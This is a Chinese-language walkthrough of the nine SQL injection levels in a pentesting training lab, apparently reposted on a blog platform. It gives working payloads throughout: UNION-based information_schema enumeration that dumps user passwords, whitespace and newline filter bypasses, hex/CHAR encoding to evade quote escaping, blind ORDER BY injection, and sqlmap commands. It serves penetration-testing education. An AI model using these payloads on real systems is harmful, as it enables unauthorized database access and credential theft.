Web Pentester Sqlinject

4、 SQL注入题目

4.1 sql1

url为http://129.129.1.38/sqli/example1.php?name=root,下面显示id、name、age的表格。因为是考注入,name的值是直接入数据库查询的。注入先测试单引号'、双引号"、反引号`等。

1.当输入单引号,url为http://129.129.1.38/sqli/example1.php?name=root'表格直接没了,说明很可能有注入,

2.把单引号后面加入注释或再加一个单引号闭合,(注释包括行注释编码的井号#(%23)、行注释两个短横杠加空格-- s、块注释/*)

http://129.129.1.38/sqli/example1.php?name=root' '或http://129.129.1.38/sqli/example1.php?name=root' -- s都能显示正常,说明有注入

3.测试and及or,试and 1=1,and 1=2,or 1=1, or 1=2,如http://129.129.1.38/sqli/example1.php?name=root' or 1=1 -- s, 看看有什么不同,再联想下服务端的具体select查询语句想想为什么是这个结果。

4.测试order by看表有几个字段,从order by 1,order by 5, order by 8,order by 6,如http://129.129.1.38/sqli/example1.php?name=root' order by 5 -- s和http://129.129.1.38/sqli/example1.php?name=root' order by 6 -- s 看看具体的差别,同学习下sql查询语句的order by想一下原因及为什么要测字段数量。

5.测试union select看看几个字段显示出来。http://129.129.1.38/sqli/example1.php?name=root' and 1=2 union select 1,2,3,4,5 -- s 注意,为什么要加入and 1=2,不加行不行,为什么联合查询到1,2,3,4,5,多一个少一个如1,2,3,4行不行? 显示的1,2,3分别代表什么?

6.测试union select查看数据库、用户等信息。如http://129.129.1.38/sqli/example1.php?name=root' and 1=2 union select database(),user(),version(),4,5 -- s 这样就获得了mysql的版号,当前库名,Web使用的数据库用户名。

7.测试union select通过联合查询跨库查系统库和表,都在information_schema库中。

首先在schemata的表中搜索当前用户可查询哪些库schema_name。

http://192.168.1.103/sqli/example1.php?name=root' and 1=2 union select database(),schema_name,version(),4,5 from information_schema.schemata-- s

然后在tables表中搜索在相关库table_schema中有哪些表table_name。

http://192.168.1.103/sqli/example1.php?name=root' and 1=2 union select database(),table_name,version(),4,5 from information_schema.tables where table_schema = "exercises"-- s

然后在columns表中搜索相关库table_schema的相关表table_name中有哪些字段column_name。

http://192.168.1.103/sqli/example1.php?name=root' and 1=2 union select database(),column_name,version(),4,5 from information_schema.columns where table_schema = "exercises" and table_name = "users"-- s

然后利用知道exercies库的user表中的字段名,找出对应的name和passwd。

http://192.168.1.103/sqli/example1.php?name=root' and 1=2 union select database(),name,passwd,4,5 from users -- s

至此,第一关完整结束。

注:最简单的sql注入步骤,1、先利用单双引号、减号、and和or及sql语句注释符判断是否存在注入,以及存在那种类型的注入;2、看是否支持order by,利用order by找到当前查询的字段数量;3、看是否支持联合查询,利用union select查看查询后相关字段的显示位置,然后利用联合查询information_schema库依次找到Web对应的库、表、字段。4、利用联合查询把你想看的库、表、字段给显示出来。

多了解数据库特定函数,database();version();user();current_user();session_user();system_user()等。

4.2 sql2

url为http://192.168.1.119/sqli/example2.php?name=root,下面显示内容与sql1一样。

1、首先是判断是否有注入:

1.1用name=root1,下面有表格,无内容;

1.2用name=root',表格都没有了,应该是有注入;

1.3用name=root'%23,显示正常,说明有注入;

1.4用name=root' %23 ,显示ERRPR NO SPACE,猜测过滤了空格,

2、绕过过滤

一般过滤空格可用%09(制表符),/**/(注释块)来隔开,同时还有其他ASCII符号也可以,可以多试试。如果使用hackbar插件,里面有一键spaces to inline comments,使用的就是/**/注释块,注意-- s中的空格不能用/**/代替。

2.1用name=root'--%09s,成功显示表格内容,证明服务端sql语句可用单引号闭合,过滤空格可用%09代替。

剩余的步骤和sql1一样了。

name=root'/**/and/**/1=2/**/union/**/select/**/1,schema_name,3,4,5/**/from/**/information_schema.schemata%23

name=root'/**/and/**/1=2/**/union/**/select/**/1,table_name,3,4,5/**/from/**/information_schema.tables/**/where/**/table_schema/**/=/**/"exercises"%23

name=root'/**/and/**/1=2/**/union/**/select/**/1,column_name,3,4,5/**/from/**/information_schema.columns/**/where/**/table_name/**/=/**/"users"%23

name=root'/**/and/**/1=2/**/union/**/select/**/name,passwd,3,4,5/**/from/**/users%23

3、使用sqlmap

sqlmap自带一些tamper,可以绕过相关过滤。

python2 sqlmap.py -u http://192.168.0.102/sqli/example2.php?name=root --tamper=space2comment.py

4.3 sql3

url为http://192.168.1.119/sqli/example3.php?name=root,下面显示内容与sql1\2一样。

1、首先是判断是否有注入:

1.1用name=root1,下面有表格,无内容;

1.2用name=root',表格都没有了,应该是有注入;

1.3用name=root'%23,显示正常,说明有注入;

1.4用name=root' %23 ,显示ERRPR NO SPACE,猜测过滤了空格,

1.5同sql2一样用%09(制表符)或/**/(注释块)代替空格。

name=root'/**/order/**/by/**/6%23

name=root'/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5%23

name=root'/**/and/**/1=2/**/union/**/select/**/1,database(),user(),4,5%23

name=root'/**/and/**/1=2/**/union/**/select/**/1,schema_name,3,4,5/**/from/**/information_schema.schemata%23

name=root'/**/and/**/1=2/**/union/**/select/**/1,table_name,3,4,5/**/from/**/information_schema.tables/**/where/**/table_schema/**/=/**/"exercises"%23

name=root'/**/and/**/1=2/**/union/**/select/**/1,column_name,3,4,5/**/from/**/information_schema.columns/**/where/**/table_name/**/=/**/"users"%23

name=root'/**/and/**/1=2/**/union/**/select/**/name,passwd,3,4,5/**/from/**/users%23

与sql2一模一样,那sql3的考点在哪?看服务端源码。

sql2的过滤是 if(preg_match('/ /',$_GET["name"])),就是看name里有空格就执行分支。

sql3的过滤是if(preg_match('/\s+/',$_GET["name"])),用正则,\s匹配任何空白字符,包括空格、制表符、换页符等,就是用%09不行了,但/**/来绕过过滤还可以,因此与sql2一样。

4.4 sql4

url为http://192.168.1.119/sqli/example4.php?id=2,下面显示内容与sql1\2\3一样,但url换成id了,可以先考虑数字型注入,原来的name算是字符型注入,它们的区别是数字型不需要用引号引起来,字符型需要用引号引起代表字符串,因此数字型的引号闭合与字符型不同。

1、首先是判断是否有注入:

1.1用id=1,下面有表格,用户名为admin;

1.2用id=2,下面有表格,用户名为root

1.3用id=2-1,用户名为admin

1.4用id=2-2,有表格,无内容,应该是有注入。

2、先看是否支持order by和union select联合查询。

2.2分布用

id=2 and 1=2 union select 1,2,3,4,5 --+s

id=2 and 1=2 union select 1,database(),3,4,5 --+s

id=2 and 1=2 union select 1,schema_name,3,4,5 from information_schema.schemata --+s

以上都正常,但在加入查询条件字符串时,引号出了点问题。

id=2 and 1=2 union select 1,table_name,3,4,5 from information_schema.tables where table_schema = 'exercises' --+s 无表格,无论用单引号还是双引号,这里只能先用char字符或十六进制代替。

id=2 and 1=2 union select 1,table_name,3,4,5 from information_schema.tables where table_schema = CHAR(101, 120, 101, 114, 99, 105, 115, 101, 115) --+s

id=2 and 1=2 union select 1,table_name,3,4,5 from information_schema.tables where table_schema = 0x657865726369736573 --+s

下面的查询同理

id=2 and 1=2 union select 1,column_name,3,4,5 from information_schema.columns where table_schema = 0x657865726369736573 and table_name = CHAR(117, 115, 101, 114, 115)--+s

id=2 and 1=2 union select id,name,passwd,4,5 from users --+s

至于为什么不能用单引号,看服务端源代码,使用了mysql_real_escape_string($_GET["id"])对id进行了处理,mysql_real_escape_string过滤了单双引号等特殊字符。

4.5 sql5

url为http://192.168.1.119/sqli/example5.php?id=2,下面显示内容与sql1\2\3\4一样,数字型注入

1、先判断有没有注入:

id=2%23 正确

id=2'%23 错误

id=2 and 1=1%23 正确

id=2 and 1=2%23 有表格无数据,判断有注入

2、order by和union select测试

id=2 order by 5%23 正确

id=2 order by 6%23 错误,说明5列

id=2 and 1=2 union select 1,2,3,4,5%23

id=2 and 1=2 union select user(),database(),version(),4,5%23

id=2 and 1=2 union select 1,schema_name,3,4,5 from information_schema.schemata%23

id=2 and 1=2 union select 1,table_name,3,4,5 from information_schema.tables where table_schema='exercises'%23

id=2 and 1=2 union select 1,column_name,3,4,5 from information_schema.columns where table_schema='exercises' and table_name='users'%23

id=2 and 1=2 union select id,name,passwd,4,5 from users%23

没任何过滤的做完sql5,比sql4还简单。。看看源代码

!preg_match('/^[0-9]+/',$_GET["id"]), id必须以数字开头。。。估计是用来过滤-1的,用-1的话就可以不用and1=2了。

4.6 sql6

url为http://192.168.0.102/sqli/example6.php?id=2,下面显示内容与sql1\2\3\4一样,数字型注入

id=2%23报错ERROR INTEGER REQUIRED,

好吧,刚看完sql5的源代码,是必须以数字开头,那这个sql6很可能是同时必须以数字结尾

id=2%23 2猜对了,后面的同sql5后面加空格2。不写了。

id=2 and 1=2 union select 1,column_name,3,4,5 from information_schema.columns where table_schema='exercises' and table_name='users'%23 2

id=2 and 1=2 union select id,name,passwd,4,5 from users %23 2

看源代码,

!preg_match('/[0-9]+$/',$_GET["id"]), id必须以数字结尾,出题人明显在应付凑题啊。

4.7 sql7

url为http://192.168.0.102/sqli/example7.php?id=2,下面显示内容与sql1\2\3\4一样,数字型注入

id=2%23报错ERROR INTEGER REQUIRED,

id=2%23 2报错ERROR INTEGER REQUIRED,完了,刚说完凑题,这道直接不会了。

看源代码,

!preg_match('/^-?[0-9]+$/m',$_GET["id"]), id必须以数字开头和结尾,就是必须是数字,dan最后有个/m,就是正则表达式只检查1行,想要绕过就用\n分行,\n后面的字符串preg_match就不管了,\n的ascii十六进制是%0a。

id=2%0a and 1=1 -- 22 正确

id=2%0a and 1=2 -- 22 有表格无数据,证明有注入。

剩下的与sql5一样了,就是把2后面直接加%0a,中间不能由任何包括空格在内的字符。

id=2%0a order by 5%23 2

id=2%0a and 1=2 union select 1,column_name,3,4,5 from information_schema.columns where table_schema='exercises' and table_name='users'%23 2

id=2%0a and 1=2 union select id,name,passwd,4,5 from users %23 2

还是凑题。

4.8 sql8

url为http://192.168.0.102/sqli/example8.php?order=name, 排序下的注入。

猜测服务端sql查询预计为select * from users order by name。然后name是可直接输入的。在sql语句中,name可以直接用,也可以加反引号``,因此我们在做闭合要考虑这两个方向。

order=age 看到排序有变化,说明猜测正确。

在分别用

order=name` desc %23

order=name` asc %23 能看到两种不同排序,说明asc和desc也放到sql语句中执行了。

因为order by的内容用反引号保护了,我们就不能用5,6来判断select的数量了,而且order by和limit应该是sql语句的最后,因此后面也不能接union联合查询了。

一个正常的select语句如下

SELECT[ALLDISTINCTDISTINCTROW] [HIGH_PRIORITY] [STRAIGHT_JOIN] [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] [SQL_CACHESQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] select_expr [, select_expr ...] [FROMtable_references [WHEREwhere_condition] [GROUPBY[ASCDESC], ... [WITHROLLUP]] [HAVINGwhere_condition] [ORDERBY[ASCDESC], ...] [LIMIT{[offset,]row_countrow_countOFFSEToffset}] [PROCEDUREprocedure_name(argument_list)] [INTOOUTFILE'file_name'export_optionsINTODUMPFILE'file_name'INTOvar_name [, var_name]] [FORUPDATELOCKINSHAREMODE]]

order by 里面能用的只能是它后面的字段名、字段序号(整型数字),这里我们可以利用if,case when,mid,ord等mysql的函数来构造分别输出正确和错误的内容,最终判断想要获得的字符串。

如:

order=name`,if(1=1,1,(select 1 from information_schema.tables))%23 正确

order=name`,if(1=2,1,(select 1 from information_schema.tables))%23 错误

这样就能利用1=1和1=2进行盲注,具体如:

order=name`,if((select ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1)))>100,1,(select 1 from information_schema.tables))%23

order=name`,if((select ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1)))>101,1,(select 1 from information_schema.tables))%23 分别正确和错误,说明information_schema.schemata表查询库名的第2个库名的第一个字母ascii为101,字母是e。

依次类推用盲注的手段获得后续的完整库名、表名、字段名、具体字段等信息。

sqlmap用法:

python sqlmap.py -u "http://192.168.1.108/sqli/example8.php?order=name" -p order --prefix='`' --suffix=# --level=5 --risk=3

注意这里面的坑,反引号必须用单引号括起来,如果用双引号的话,sqlmap会认为你没闭合,直接出个>让你继续写sqlmap命令。

sqlmap这一题的payload是http://192.168.1.108/sqli/example8.php?order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1),6,1))>104) THEN 0x6e616d65 ELSE 0x28 END))#

4.9 sql9

url为http://192.168.1.104/sqli/example9.php?order=name, 排序下的注入,

因为order只能是用反引号或直接使用,先测试用反引号

order=name` %23无表

order=name %23正确,说明比sql8还简单,都不用反引号闭合。

order=name desc %23

再测试直接输入

order=name`,if(1=1,1,(select 1 from information_schema.tables))%23 正确

order=name`,if(1=2,1,(select 1 from information_schema.tables))%23 错误

order=name ,if((select ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1)))>100,1,(select 1 from information_schema.tables))%23

order=name ,if((select ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1)))>101,1,(select 1 from information_schema.tables))%23

后面就都一样了,

sqlmap也一样,直接--suffix=# --level=5 --risk=3。

python sqlmap.py -u "http://192.168.1.104/sqli/example9.php?order=name" --suffix=# --level=5 --risk=3

Parameter: order (GET)

Type: boolean-based blind

Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause

Payload: order=name RLIKE (SELECT (CASE WHEN (9289=9289) THEN 0x6e616d65 ELSE 0x28 END))#

本文来自企鹅号 - Geeksbaby媒体

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏杨建荣的学习笔记

一个SQL语句引发的ORA-00600错误排查(一) (r9笔记第64天)

最近有一个同事问我一个问题,说他运行一个SQL语句抛出了ORA-00600的错误,想让我帮忙分析一下,这种问题听了确实有兴趣,了解了问题的大体情 况之后,发现这...

3124
来自专栏漏斗社区

玩得一手好注入之order by排序篇

看了之前Gr36_前辈在先知上的议题,其中有提到排序注入,最近经常遇到这样的问题,所以先总结下order by 排序注入的知识。 环境信息 测试环境:操作...

3336
来自专栏乐沙弥的世界

共享池中保留池的调整(shared_pool_reserved_size)

--*************************************************

691
来自专栏GreenLeaves

Oracle 数据表的管理

1、创建表的的表名规则 a、必须已字母开头 b、长度不能超过30 c、不能是Oracle的保留字 d、只能使用如下字符:A-Z、a-z、1-9、#,$等 2、O...

1687
来自专栏王硕

原 PostgreSQL的基础数据类型分析记录

1031
来自专栏安恒网络空间安全讲武堂

hackme.inndy.tw的19道web题解(中)

目录 写在前面 ...... login as admin 0 Login as Admin 0.1 login as admin 1.2 login as a...

3838
来自专栏菩提树下的杨过

setInterval与clearInterval使用示例

setInterval是一个很有用的js函数,可以用来重复执行某些功能,利用这个我们可以实现一些很有趣的功能,比如: 不刷新页面的情况下,"实时"获取其它会员给...

1845
来自专栏JMCui

Hibernate乐观锁、悲观锁和多态

 乐观锁和悲观锁     悲观锁(Pessimistic Lock), 顾名思义,就是很悲观,每次去拿数据的时候都认为别人会修改,所以每次在拿数据的时候都会上锁...

2864
来自专栏吴伟祥

字段规范 原

441
来自专栏JAVA高级架构

从NIO到Netty开发

651

扫码关注云+社区